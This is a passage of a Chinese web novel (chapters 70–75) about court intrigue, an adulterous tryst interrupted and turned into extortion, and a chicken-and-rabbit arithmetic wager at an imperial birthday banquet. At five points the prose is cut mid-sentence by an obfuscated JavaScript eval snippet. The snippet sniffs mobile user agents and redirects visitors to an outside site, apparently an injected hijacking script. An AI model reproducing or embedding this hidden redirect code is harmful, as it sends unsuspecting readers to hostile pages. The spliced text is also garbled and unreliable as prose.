原来这探春楼是和燕来楼号称京城两大青楼。一个在西市一个在东市,其余野堂子一概不论,它们俩平分秋色,各有各的优点。 芦德豪咂了咂嘴,眼神飘向窗外,嘴角勾起一抹笑意:“大哥的计划看来要成功了啊。 “嗯,如今只待顾北辰那小子了。王胖子皱了皱眉,一手掩鼻,脸上尽是不耐之色,对芦德豪说道:“你先去漱漱口行不行。 芦德豪不以为然地挥了挥手:“别装模作样的,人家小姑娘的脚根本就不臭。 王胖子没好气地道:“胖爷没说她脚丫子臭,说的是你口臭! 芦德豪嘿嘿一笑,满不在乎地耸了耸肩。 “这不最近火气大嘛。不过话说回来,这小姑娘倒是挺有意思,脚丫子小巧不说,还晶莹剔透,脚趾整齐,如玉琢一般,还晶莹剔透,乃是不可多得的极品,看来以后探春楼也得常来啊! “来可以,你请客。 “没问题,今天你这十个亲卫也是我请的啊。 原来胖子还带来了十名亲卫,此刻正在探春楼的十个包厢里疯狂耕耘呢。 高低错落的声音不绝于耳。 此刻,酒楼的门槛外,刘书瑶轻盈地跳下马车,手心里渗出细密的汗珠, 她紧紧攥着小翠的手,目光转向一旁候着的东子,急切问道:“东子,顾郎在何处? “小姐放心,您先去楼上等候,顾少很快就到。 刘书瑶闻言,又不放心地回望了一眼高悬的牌匾,确认无误后,方与小翠手挽手,袅袅娜娜地向楼上行去。 与此同时,东子的嘴角勾起一抹狡黠的微笑,他不动声色地向探春楼窗边看热闹的胖子使了个眼色。 那意思就是:第一步已经成功。 接下来就看晴雯的了。 胖子使劲拍了拍坐在自己大肥肚子上的姑娘。 “抓点紧,胖爷还有正事儿要办呢。” “是,胖爷!” 刘书瑶在酒楼包厢里如坐针毡。 她很担心会被人发现,但偷情的刺激又让她难以把持。 顾郎一定会很温柔地疼爱我吧 不会像林臻那个混蛋,动辄又打又骂,还骂得极其难听。 她轻倚在床榻边缘,斗笠低垂,未曾揭开,宛如新娘的红盖头静静地等待着她的心上人。 小翠的心境远不及她那般复杂,甚至她心里跟明镜似的。 今日是刘书瑶与顾北辰的主场,自己身为丫鬟,不可能在她们中间博得一席之地。 然而,若顾北辰有意大被同眠 嘻嘻嘻。 只要是顾郎,怎么样都没关系呢! 小翠心底悄然绽开一丝不应有的期许。 那份微妙的愿意,绝不会轻易说出口,却也无法彻底否认。 与此同时,顾北辰也风风火火地赶来酒楼,在楼下时他问身边的晴雯:“是这里吗?” 晴雯点点头:“没错,就是这里,小姐在二楼的红妆包厢,您直接上去即可。奴婢要先回去了,以免引人注意,生出枝节。” “嗯,也好,等这件事情过后,我会想办法把你从林家接出来,过来伺候我吧。” 晴雯暗暗撇嘴。 心说,你是真摆不正自己位置啊! 就你这副德行的也配让我伺候? 我们家世子论长相,论家室,论身份,论智谋,哪个不比你强? 刚刚一路上都在偷看我的胸。 虽然它又大又晃眼,但那是你能看的吗? 恶心! 下头男! 顾北辰露出一个自认为十分帅气的笑容走进酒楼,晴雯转身离开。 这时候,在探春楼二楼包厢看热闹的胖子喊道:“快快快,顾北辰进去了!” “什么?”芦德豪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789203|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,亦是猛的一个激灵。 胖子把敬业的女服务员哄到一边,提好裤子扔过去一个银饼子。 随即拍了拍芦德豪的手臂说道:“抓紧,万万不能让顾北辰占了大哥的便宜!” “奶奶的,他顾北辰要是敢碰嫂夫人一下,我这一百多斤就跟他拼了!走!” 顾北辰站在房门外面,轻轻捅破窗户纸,趴在上面往里面观瞧。 在那柔和而静谧的室内,一位身着洁白素衣的女子静静地端坐于床榻之上,一顶精致的斗笠轻轻遮掩了她的容颜,为她添了几分神秘与高雅。她宛如一尊精美的雕像,周遭的空气似乎都因她的存在而变得柔和起来。 尽管无法窥见那女子的真容,但从她那隐约显露的修长双腿,以及那曼妙至极的身段中,不难想象,这定是一位风华绝代的佳人,其美貌足以令世间万物失色。 而立于佳人身旁的少女,亦是风采不凡。她同样戴着一顶斗笠,身姿高挑,亭亭玉立,宛如春日里最挺拔的翠竹。她的双手交叠于身前,手指纤细而修长,每一个细节都彰显着她温婉而聪慧的气质。 如果能把她们俩同时压在床榻上 顾北辰都不敢想象自己该有多爽。 虽然之前因为中毒也疯狂过,但那都是丫鬟,身份低下毫无征服感。 而现在这两位,一个是林臻的正房夫人,摄政王府少奶奶,在大乾更是地位超然。 一个是少奶奶陪嫁过去的通房丫头。 这可都是林臻的女人! 一股罪恶的快感在顾北辰心中诞生。 顾北辰的心都要跳出嗓子眼了,再也无法按捺那份迫切,猛地推开了门,跨步而入。 “书瑶!”他的呼唤中蕴含着无尽的思念与激动。 “顾郎.” 那熟悉而令人心醉的声音轻轻响起,顾北辰疾步向前,伸手便掀去了她头上的斗笠。 映入眼帘的依旧是那张令他魂牵梦绕的脸庞。 美丽动人,温婉如初。 但与曾经不同的是,此刻的刘书瑶脸颊绯红,仿佛被晚霞染上了几分娇艳,更添了几分少妇独有的妩媚,以及初次偷情的羞涩与甜蜜。 她微微垂首,红唇轻抿,再次唤了一声:“顾郎.” “书瑶.我好想你!” 第71章 刚来感觉,你就结束了? 小翠静静地立在一旁,心中泛起一丝不易察觉的酸楚。 上次在马车里时,顾郎可不是这么说的。 他说过,他也是喜欢我的,那怎么此刻竟对我视而不见呢! 小翠躲在斗笠里偷偷嘟嘴,那份少女的娇嗔与不解,尽在这不经意间流露。 然顾北辰也确实没有厚此薄彼,也把她的斗笠拿开:“翠儿。” 小翠闻言,嘴角迅速勾起一抹羞涩的笑意,那笑容里藏着几分甜蜜与调皮。 “顾少.嘻嘻嘻。” “翠儿,你去门口把风。” 小翠:? 说好的大被同眠呢? 说好的喜欢我呢? 人家才刚来感觉,你就结束了? 这也太欺负人了吧! 男人的嘴,骗人的鬼! 哼! 小翠极不情愿地走向门口,刘书瑶看着她的背影温柔笑道:“咯咯咯咯,顾郎,小翠明明也是有心意的。” “我不管,今天,就我们两个!这是属于我们的时光!” “顾郎.”刘书瑶瞬间动情,可想起早上的林臻,她的心又不由得绞痛起来,“顾郎,你.你真的不会嫌弃我吗?” “怎么会呢?你是这世界上最干净的女人。” “可是.可是呜呜呜。”刘书瑶的话语断断续续,泪水如同断了线的珠子,一颗颗滑落脸颊, 顾北辰有些手足无措,连声问道:“书瑶,你怎么了?” “顾郎,我对不起你.呜呜呜,林臻玷污了我” “我知道。那个人渣,我早晚会让他付出代价的!别哭了,再哭就不好看了,来,让我好好瞧瞧。” 说着,他轻轻捏住刘书瑶的下巴,作势要吻下去。 刘书瑶却意外地躲开。 “怎么?你不愿意?”顾北辰的声音中夹杂着几分恼怒。 奶奶的,老子冒死来和你睡觉,你跟我整这一出? “顾郎,我当然愿意!只是,我的嘴巴.早上才被林臻亲过,我心里难受,怕你嫌弃。” “我说过,我不嫌弃啊!” 顾北辰都急死了。 想和你发生点什么,怎么就这么墨迹呢! 听到他的安慰,刘书瑶又痛哭起来:“顾郎.呜呜呜,林臻那厮不是人!他早上的时候竟然把我和小翠放在一起捉弄!我想反抗可是,却遭到他的殴打!” “什么?你说小翠也.”顾北辰的脑海仿佛被重锤狠狠砸了一下。 小翠也被林 臻玷污了么。 那可是我的女人啊!怎能容得他如此践踏羞辱? 还两个一起! 林臻,你这个淫魔,老子迟早要把你做成人彘,放在黄河边上当癞蛤蟆! “书瑶,他都打你哪里了?快让我看看伤得重不重! “他他打的人家这里. 刘书瑶边哭边指了指自己后腰位置。 顾北辰也不是什么善男信女,当然知道她说的是什么了。 原来刘书瑶所说的殴打,竟然是打屁股! 林臻!! 那个地方只有我能打!你敢碰一下,老子就要弄死你! “宝贝,没事的。把衣服脱了让我看看,如果严重,我亲自给你揉。 “嗯 刘书瑶动作中带着几分羞涩与矜持,指尖触碰腰间,摸索着那根细长的腰带。 轻轻一拉,原本紧紧贴合身形的衣物渐渐松弛,流露出一种不经意的慵懒与柔美。 “咕嘟.顾北辰激动的咽了口唾沫,眼睛一眨不眨地盯着她。 刘书瑶含笑妩媚地说道:“顾郎,别这么看着人家嘛。 “书瑶,你好美啊。 “嘻嘻。 “红烛摇曳映新房,良人在侧意绵长。今日与君结连理,携手共赴岁月长。 顾北辰也是响当当的才子,随便思索几秒便接出下文。 “眉黛轻扬含羞涩,心中满是爱如阳。洞房花烛夜如画,相伴一生情未央。 “顾郎. 刘书瑶已然动情,心湖泛起层层涟漪。 她羞涩地阖上眼帘,长睫轻颤,宛如春日里最细腻的蝶翼,每一次轻拂都携带着一抹难以言喻的柔情与矜持。 顾北辰轻轻抓住她的手,放在自己胸口上:“书瑶,你终于属于我了。 “那顾郎还在等什么?还不赶紧过来,尽情地索要吧。 这开了窍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789204|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女人和未出阁的大闺女就是不同。 这句话放在以前刘书瑶是绝对不可能说出口的,但经过林臻的开发以后,好像变了个人。 说话也更直白了,动作也更大方了,这都是吸引顾北辰的点。 然而,就是顾北辰准备大显身手的时候,门外突然传来不和谐的说话声。 “诶?小翠?你怎么在这啊? “是啊小翠,好几天没见,你好像变漂亮了啊! 顾北辰心说这声音怎么这么耳熟啊? 好像是那个该死的 王胖子! 他赶紧松开刘书瑶的手,走到门外面用窗户纸偷看。 就见王胖子和芦德豪两人像小流氓似的,露出不怀好意的笑容逐步像小翠靠近,步伐中带着几分戏谑。。 “胖爷.芦小公爷”小翠的笑比哭还难看。 怎么就这么不巧啊! 在东市这边的酒楼里也能碰见他们俩! 怎么办,怎么办呀!小姐和顾郎还在房间里呢,他们不会闯进去吧! 胖子哈哈大笑,声音中带着几分得意与调侃:“哈哈哈哈,小翠啊,你不在家好好服侍嫂夫人,来酒楼做什么?” 芦德豪捏着下巴打量她:“该不会是思春,偷偷出来约会情人的吧?” “哈哈哈哈哈。” “你奴婢没有私会奴婢”小翠的嘴向来很笨,一时间竟不知道如何反驳,见有店小二从楼上端酒下去,只好说道:“奴婢是来沽酒的。” “沽酒?王府对面就有酒肆,为何来东市酒楼里沽酒啊?肯定是来私会小情人的!” “对对对!”芦德豪跟着起哄,完全不顾小翠那要哭出来的表情:“小翠啊,你就老老实实说,看上哪家的少爷了?告诉我,我回去告诉我大哥,肯定成全你!” “就是,咱王府的丫鬟看上了谁,那是他的福分!你就说吧,当着你胖爷的面有什么好害羞的?” “我奴婢真的没有”小翠真的要哭了! 她不知道该怎么回答这两个臭流氓! 房间内,顾北辰脸色惨白的往后退了几步,来到床榻边上,声音略有颤抖的对刘书瑶说道。 “书瑶,是王胖子和芦德豪。” 第72章 替我大哥看着点嫂子啊 刘书瑶惊恐万分。 “什么!?他俩可是林臻最忠心的小弟,顾郎,我怎么办呀!” “小翠正在想办法托住他们,你快走!” “可是顾郎,我走了你怎么办!” 顾北辰心里暖暖的。 这个节骨眼,刘书瑶都知道替自己考虑。 这样的女人必须搞回家,放在林臻身边简直糟践了。 “他们只要没看到你,就不能把我怎么样!” “也对,那妾身先戴上斗笠走,顾郎,您万事小心!”言罢刘书瑶踮起脚想在他唇边一吻,就在此时,大门被人一脚踹开! “砰!” “啊!!” 刘书瑶吓得赶紧缩了回去,同时顾北辰护在他身前,定睛看着来人! 正是一脸狞笑的王胖子! “哈哈哈哈,看来胖爷来的不是时候啊,差一点嫂夫人就亲在你脸上了。” 顾北辰厉声暴喝:“王蓬,你想干什么!” “干什么?当然是替我大哥看着点嫂子啊!” 芦德豪从胖子身后跳出来,同样指着顾北辰骂道:“顾北辰,你可真是不要脸!三番五次勾引我嫂子!今天老子就把你们这对奸夫淫妇,曝光于天下!” 小翠也跑了进来,三两步来到顾北辰身后和刘书瑶站在一起。 “顾少,对不起,奴婢根本拦不住他。” “没事,不怪你。”顾北辰定睛看着场中两人,怒气冲天的说道:“王胖子,你为何会在这里!” 胖子早就准备好了天衣无缝的说辞。 “废话,你胖爷我在对面玩娘们呢,刚出来就看见了你的马车,我猜想你这样身份的人不会来这种小地方,所以才跟着来的。” 芦德豪紧跟着又往他心上扎一刀:“顾北辰,你说你也是堂堂丞相之子,四九城里的顶级纨绔,怎么能看出让小丫鬟帮你把门这种事儿呢,你家的仆役都死光了?还是说你干了什么不敢见人的事情啊?” “一派胡言!我愿意做什么就做什么,不需要你们来管!” 王胖子坐在桌子边上,没有了宽大身躯的遮挡,顾北辰这才看见了他身后的十名亲卫。 他暗暗咬牙,想来今天不付出什么代价是出不去了! 慕容嫣那边还等着自己去祝寿呢! 王胖子拿起根香蕉,吃得津津有味,大眼珠子似笑非笑地看着他。 芦德豪说道:“顾北辰,说说吧,打算拿什么东西来堵住我们的嘴啊?” “什么意思?想趁火打劫?” “你如此没诚意那我知道出去喊人了把大乾的百姓都喊上来看看你身为丞相之子不去给陛下过寿趁机勾引王府少夫人!这名声传出去对你恐怕不好吧?” 顾北辰咬紧牙关。 奶奶的虽然知道这哥俩来者不善但未免也太巧了吧? 时间不多不少就在刚要和书瑶发生点什么的时候他们俩闯了进来。 难不成这是林臻做的局? 可是为什么呢? 林臻主动把刘书瑶推出来难道就是为了让自己出丑然后花钱买封口费吗? 一股浓重的不祥之感涌上心头。 绝对不可能这不是林臻的性格。 他把刘书瑶推出来勾引自己肯定是有更大的阴谋在酝酿! 顾北辰几乎是瞬间就明白过来自己肯定是又被林臻做局了。 只是他现在还不清楚林臻到底要做什么他这么做的目的又是什么。 刘书瑶一言不发把斗笠放下来却没想到王胖子冷笑一声说道:“呵嫂夫人就不要掩耳盗铃了你以为放下来别人就看不到你的脸了?” 刘书瑶自知理亏但她就是看不上这个地痞流氓。 “胖子你就这么和我说话么?” “但凡你知道一点廉耻胖爷今天都不会这么和你说话!”胖子看向顾北辰:“胖爷最后再问你一遍这件事情到底怎么办?你要是不说 “王胖子你别以为有林家罩着你就可以为所欲为你当真以为陛下会听你信口胡诌吗?” “陛下不信胖爷却也得信老百姓的吧?全城百姓都说你们两个趁陛下大婚的空档偷奸你怎么能拦住?” 到现在顾北辰还不明白咋回事就可以抹脖子了。 这件事情绝对就是林臻设计的他去参加寿宴让自己掉以轻心背地里却派这两个憨货过来抓奸然后趁机敲诈自己! 顾北辰吐出一口浊气像是认栽了。 他问道:“你到底想怎么样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789205|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哈哈哈哈你早这个态度胖爷不就不难为你们了嘛。”胖子搓搓手满脸堆笑像准备吃屎的苍蝇那般“这样吧你给胖爷和德豪一人一万两现银这事胖爷就当没发生过。” “一万两!你怎么不去抢?” “胖爷从来不敢那鸡鸣狗盗之事!再说一万两抢也抢不来啊但是能从你身上挖下来胖爷还是很开心的。 痛快点,一万两行不行!不行的话,胖爷现在就喊人进来!” “你!我可没带那么多钱。” “没关系啊,你可以写下借据,就说丞相之子顾北辰欠王胖子和芦德豪一人一万两。只要你敢写,今天这事儿就算过去了。” 顾北辰暗暗攥紧拳头。 两万两对他来说不能算伤筋动骨,但平白无故地给出去还是有些肉疼。 可眼下再疼也得给,除了要应付这两个吃相难看的败类,还要搞清楚林臻的目的! 他这么做,到底是要做什么!如果搞不清楚,自己难保不会落入下一个坑里。 “好,我写。” “顾郎.”刘书瑶听闻是两万现银,顿时有些舍不得。 那可都是自己的钱啊! 没错,在刘书瑶看来顾家的就是她的。 她已经是顾家的女主人了。 “书瑶,事已至此,没有别的办法,你我的声誉远比这个更值钱。” “可是.” 小翠也偷偷咽了口唾沫,她一个月的例份才二两银子,这在丫鬟中已经是天价了。 即便如此,要赚到两万两现银也需要赚八百多年! 而顾北辰就这么眼皮不都眨一下的给出去,不愧是豪门大户啊! 我一定要嫁到这样的人家才行,林臻那个穷鬼才配不上自己呢! 王胖子从怀里掏出黄纸和毛笔,用舌头舔了舔毛笔尖说道:“来吧,顾少。” 顾北辰松开刘书瑶的手,来到桌子边挥挥洒洒下来一行字。 胖子拿起来看了看,然后递给芦德豪:“看看,胖爷不识字。” “那你装鸡毛?”芦德豪没好气地翻个白眼,看了看觉得没什么问题,这才小心翼翼地收起来。 顾北辰说道:“这回可以让我们走了吧?” “当然不行。” 第73章 鸡兔同笼难死大乾文武 顾北辰拧眉倒竖,火窜脑门:“王胖子,你想反悔?” 胖子一脸无辜:“没有啊,这两万两是封口费,我们保证不会把这件事情宣扬出去,但可没说让你走啊。” “什么意思?那你要怎样才肯让我离开?” “等到晚上,你就可以离开了。” “王蓬!你要欺人太甚!” 顾北辰敢肯定,林臻把刘书瑶推出来的目的就是要缠住自己! 可他缠住自己干什么呢? 如果离开自己又要去哪呢? 参加皇帝寿宴! 难道他是为了不让自己顺利参加寿宴,所以才布下的这个局? 肯定是!林臻啊林臻,你到底要干什么?想凭这样降低我在陛下面前的宠爱吗?你未免也太幼稚了吧? 如果不是这个,那林臻就肯定还有其他目的! 只是自己却无论如何也想不出来。 “王胖子,你没有任何权力阻止我。”顾北辰试探性地往前走了几步:“今天我非要走出去,有种你就动手!” “顾北辰,你心知肚明。只要胖爷在这,今天你是无论如何也走不掉的。” 言罢,就见八名亲卫已经彻底堵住门口,另外两名来到窗户边防止顾北辰跳楼。 顾北辰还从没遇见过这样无礼的事情,更没有经受过这样的羞辱! 这几乎就是软禁啊! “王胖子,看来你是想和我顾家彻底撕破脸啊?” “呦?”胖子笑了:“威胁你胖爷呢?你也不看看你自己几斤几两。” “我发誓,等我出去,我一定会让给你王家付出代价!” “行行行,你爱说什么说什么,反正你今天是走不掉了,来人啊,送嫂夫人回府。” 另有一对仆役出现在门口,其中一人正是脸黑成锅底的大管家林安! 他的出现如同乌云蔽日,令人心生寒意。 刘书瑶看见他,就像老鼠看到猫似的,吓得浑身战栗。 他知道此事,林震仙也必定知道了此事! 林安缓步至刘书瑶跟前,臂膀轻轻一展指向门外,声音低沉而有力:“少夫人,请。” “顾郎.我该怎么办.”刘书瑶无助地拽了拽顾北辰的衣袖,眼中满是惊慌之色。 林安面色一沉:“夫人,请不要忘记,你是王府的少夫人,而不是顾家的!” 顾北辰知道自己已经无力回天了,事情发展到现在着实有些窝囊。 但他也没有办法,都怪一 时鬼迷心窍上了当,现在后悔也没用。 “书瑶,你先跟他们回去。我会想办法的。 刘书瑶带着小翠,恋恋不舍,战战兢兢离开包厢。 而王胖子则是让店小二上来很多好酒好菜,他打算和芦德豪在这里大吃一顿,反正时间尚早,顾北辰请客。 皇宫内。 慕容嫣的脸阴沉地吓人,她是万没想到楚惜灵竟然在大殿内,当着诸国使臣的面公然向大乾发出赌约。 三道题,若大乾能答出两道便算胜,如不然,便输。 而赌注就是毗邻楚国的六百里平原,清河县的归属。 慕容嫣本不想赌,但楚国咄咄逼人,诸国使臣又接连讽刺,为了大乾尊严不受侵犯,只好接受。 却没想到,刚出第一道题,大乾所有文武群臣便都被难住了。 此时楚国使团的人镇定自若,楚惜灵更是喧宾夺主地站在堂中猖狂大笑,好像她才是今天的主角一样。 “哈哈哈哈,皇帝陛下,这样一道三岁儿童的题都做不出来,您也好意思说大乾人才济济吗? 一道简单的鸡兔同笼,让大乾十几位算学大儒绞尽脑汁,冥思苦想,算盘都快敲碎了也没算出来鸡多少,兔多少。 顾云霆站起来说道:“清秋公主,你们这道鸡兔同笼给的条件根本就不全!即便是神仙也难计算! 楚国算学大家,国子监祭酒,黄志恩老神在在地坐在位置上摇扇子。 “丞相大人,这道题已经说得很明白了。今有鸡兔同笼,上有三十五头,下有一百只足,问鸡兔各几何? “我们既然出题,就肯定有解法。依老夫看你们也别浪费时间了,直接投降,把清河县割让给我们大楚算了! 黄志恩说话阴阳怪气,带着自信轻蔑的眼神环视四周。 他不认为一向不追求算学的大周能有人答出这道题。 果然。 一颗豆大的汗珠顺着顾云霆的鬓角滑落,带着无数惊恐砸在地面,碎成几瓣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789206|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这道题实在太难了,难到让他们无从下手。 奶奶的!北辰到底哪去了啊! 他若在此,这道题一定能解出来! 大乾文武群臣七嘴八舌地反驳。 “黄家老狗,别以为我不知道你们怎么想的。想不费一兵一卒拿下我们清河县?做梦! “清河乃是我大乾门户,更是边南重镇,岂能拱手送你? “当今华夏七足鼎立,态势平衡。你楚国如此跃进,就不 怕我们联合一起讨伐你们吗?” “不管算不算得出来,这个赌注我们不答应!” “不答应?”黄志恩貌似早就料到了群臣的反应,蔑笑着道:“呵,那就请陛下写出罪己诏,布告天下,就说乾国胆小如鼠,甚至连试一试的勇气都没有,与我大楚不战而败。” 慕容嫣见黄志恩如此目中无人,大喝一声:“混账!” 她无论如何也不能接受这样的失败。 否则以后大乾还有脸面可言吗? 慕容嫣脸色极其不好,一双杏眼死死盯着顾云霆说道:“顾相,北辰去哪了?” 顾云霆急得脑门冒汗,连忙站起来回答:“回陛下,北辰处理家中事务耽搁了时辰,想来也快到了吧。” 一到关键时刻就找不到人! 慕容嫣看着这些不成器的官员真是咬牙切齿,恨透顶了。 平日里勾心斗角时一个比一个精明,现在半点真学问都拿不出来! 楚惜灵得意对慕容嫣笑道:“呵呵呵,大乾皇帝陛下,如果答不上来,这局就算你输了。这清河县,也就归我们大楚所有了!” “不可能,清河县绝不能给你们。” “难道皇帝陛下要当着天下诸国的面反悔吗?” 一直躲在林震仙身后看热闹的林臻不住冷笑。 原来如此,我就说怎么连秦国使臣都大老远地跑来为慕容嫣祝寿呢,闹了半天是楚国请来当人证的。 一旦大乾承接下赌注,他们就是证人。 如果大乾不履行赌注,楚国就可以发兵攻打,名正言顺。 好算计啊。 既然如此,那就到我登场的时候了。 林臻站起来向慕容嫣作揖大喊:“陛下,此题可解!” 第74章 跪下大喊:我愿意给大楚当狗! 慕容嫣眼睛一亮:“此话当真!?” 顾云霆等群臣则是接连大喊尤其是顾云霆眼珠子都要从眼眶里瞪出来了。 “林臻!你知不知道自己在说什么!” “万一挑战失败你知道会酿成什么后果吗?” “满朝文武都没办法的题你一个不学无术的纨绔会解个屁!?” “这是算学!你知道什么是算学吗?” 面对群臣的质问林臻不想回应也不屑回应。 “臻儿天子面前无戏言你确定此题可解?” 林震仙的问话林臻还是要回答的只见他作揖道:“祖父放心。” 言罢林臻目光淡然地看向场中黄志恩。 “若我大周回答出来又作何说法啊?” 黄志恩早就听闻战神林震仙麾下有个纨绔世子如今看到林臻穿着像个花斑豹似的靓丽更加坚信了传言。冷笑道:“呵老夫苦修十年的题若是被你一个纨绔答上来岂不是贻笑大方?” “这你别管且说我答上来你将如何!” 楚惜灵也听说过林臻的名号但传言能否属实还有待商榷所以并不敢莽撞。 “你若答上来这道题便算你赢。” “废话。”林臻翻个白眼“想在陛下面前空手套白狼门都没有!你们楚国不是出三道题吗?我也出三道题 黄志恩虽然是算学名家但也是大楚重臣当然知道北海城对扼守大乾的重要性当即喊道。 “竖子!北海城比清河大了何止十倍!?你这是狮子大开口!” 林臻骚么搭眼的斜视他:“你们空手套白狼的时候就没想过自己会输?” 一语中的。 楚惜灵在来之前就没想过大楚会输因为大乾根本就没有所谓的大学士所有的百姓在林震仙教育下重武轻文不喜算学。 可是现在林臻发现了这个漏洞反来将自己一军。 楚惜灵一时竟不知如何是好。 林臻见她不说话便呼吁诸国使臣:“诸位各国的使臣今日乃我大乾皇帝陛下寿诞!楚国清秋公主目无尊卑不思长幼之序竟当场提出难题要空手套白狼欺负我大乾!如今我只要个平等的赌约而已她竟不敢。” “哈哈哈哈还请诸国使臣回去以后把这件事情告诉你们皇帝陛下就说大楚玩不起。” “清秋公主你刚刚 说了赌约,大乾并没有说,现在说出来也为时不晚啊!” “就是,你们该不会是不敢比吗?” “一群道貌岸然的大儒竟被一位世子吓得不敢吭声,看来大楚也不过如此嘛。” “哈哈哈哈哈。” 楚惜灵一双柔荑攥住椅子扶手,内心剧烈挣扎起来。 大楚绝不能输,况且三个月后对大乾作战,清河县是必争之地,如果能不费吹灰之力拿下自然最好,如果不能也是出兵的借口。 可是林臻一副胸有成竹的样子,好像这道题他真的会算一样。 到底该怎么办呢。 黄志恩走过来,对楚惜灵作揖:“公主殿下,请相信老臣,这道题是老臣钻研多年才得,林臻不可能解得开。” “也罢,那就信你一次。”楚惜灵站起来对慕容嫣说道:“大乾皇帝陛下,我等愿意接受这个赌注,但赌注不公平,毕竟清河县无论如何也不能跟北海城相比。我需要再加一条赌注。” 慕容嫣心里也直犯嘀咕。 林臻有几斤几两她比楚惜灵更清楚,能答对一题已是侥幸,如果再增加赌注的话,万一输了,那里子面子可就丢尽了! “林臻,你确定有把握?” “回陛下,臣确定。” “朕建议还是等顾院判来,你们一起对垒比较好。” 顾北辰? 他肯定已经被王胖子他们缠住了,今天都不可能来。 林臻说道:“区区小事不劳顾院判大驾,臣一人足以。” “狂妄竖子!”黄志恩再也忍受不了林臻那志得意满的表情,站出来说道:“你若是能答对这道题,你让老夫干什么,老夫绝不还价!” “哦?如果我要你的命呢?” “给!今日你若能答上来,老夫这就一头撞死在这金柱上!” 嘶. 老学究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789207|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恐怖如斯! 林臻露出夜猫子的笑声,看向楚惜灵:“公主殿下,你觉得如何呢?” 楚惜灵更觉得事情有意思了! 黄志恩要赌命,那林臻也必须赌命。 不管是输是赢,对自己都没有太大的损害,假若林臻输了,然后被赐死. 林震仙必定不干,然后大乾内部就会出现自己想看到的局面——内乱! “好!”楚惜灵觉得自己考虑周全,于是一拍桌子站起来说道:“世子果非常人!既然黄大人要跟你赌命,你赌否?” 赌命? 林臻无奈地撇撇嘴。 傻子都 知道林震仙不可能让自己死,你还在这里咋咋呼呼的。 诶?不对! 林臻忽然觉得楚惜灵应该有别的目的。 难道说,她想看到大乾内乱?这娘们想得也太简单了吧。 林臻目光不自觉的看向林震仙。 果然,老爷子一直在闭目养神,连眼皮都没眨一下。 因为他根本就不在乎输赢。 是输是赢,林臻都不会死,清河县也不会丢。 也罢。 “好啊,我就和黄大人赌命。他赢了,我死。”林臻顿了顿又说道:“但是如果我赢了,他不必死,他只需要跪在地上大喊三声,我愿意给大楚当狗!即可。” 黄志恩闻言,气得浑身发抖,指着林臻喊道:“匹夫竖子!孔曰成仁,孟曰取义!死便死,你怎可如此侮辱一位当代大儒!” “你就说敢不敢!” “敢!你现在就解开鸡兔同笼,若是正确,老夫随你处置!” “痛快!你听好,今有鸡兔同笼,上有三十五头,下有一百只足,问鸡兔各几何?答:鸡二十只,兔十五只。” “什么!?” 黄志恩瞳孔巨震。 而大周群臣赶紧开始在纸上演算,可惜他们根本不知道算法,算来算去还是算不清。 黄志恩一把年纪,震惊得无以复加,指着林臻哆哆嗦嗦的道:“你是信口胡诌的!根本没有演算过程!” 第75章 还你人情?我TM谢谢你啊。 心情刚有好转的慕容嫣,听到黄志恩的话又冷静下来。 是啊,林臻怎么可能有演算过程呢,他只不过是瞎蒙瞎说的而已,与北辰相比还是很有很大差距的。 该说不说这北辰到底去哪了呢?他不在,朕心里好生不安啊。 不仅仅是慕容嫣这样想,就连诸国使臣也这样想。 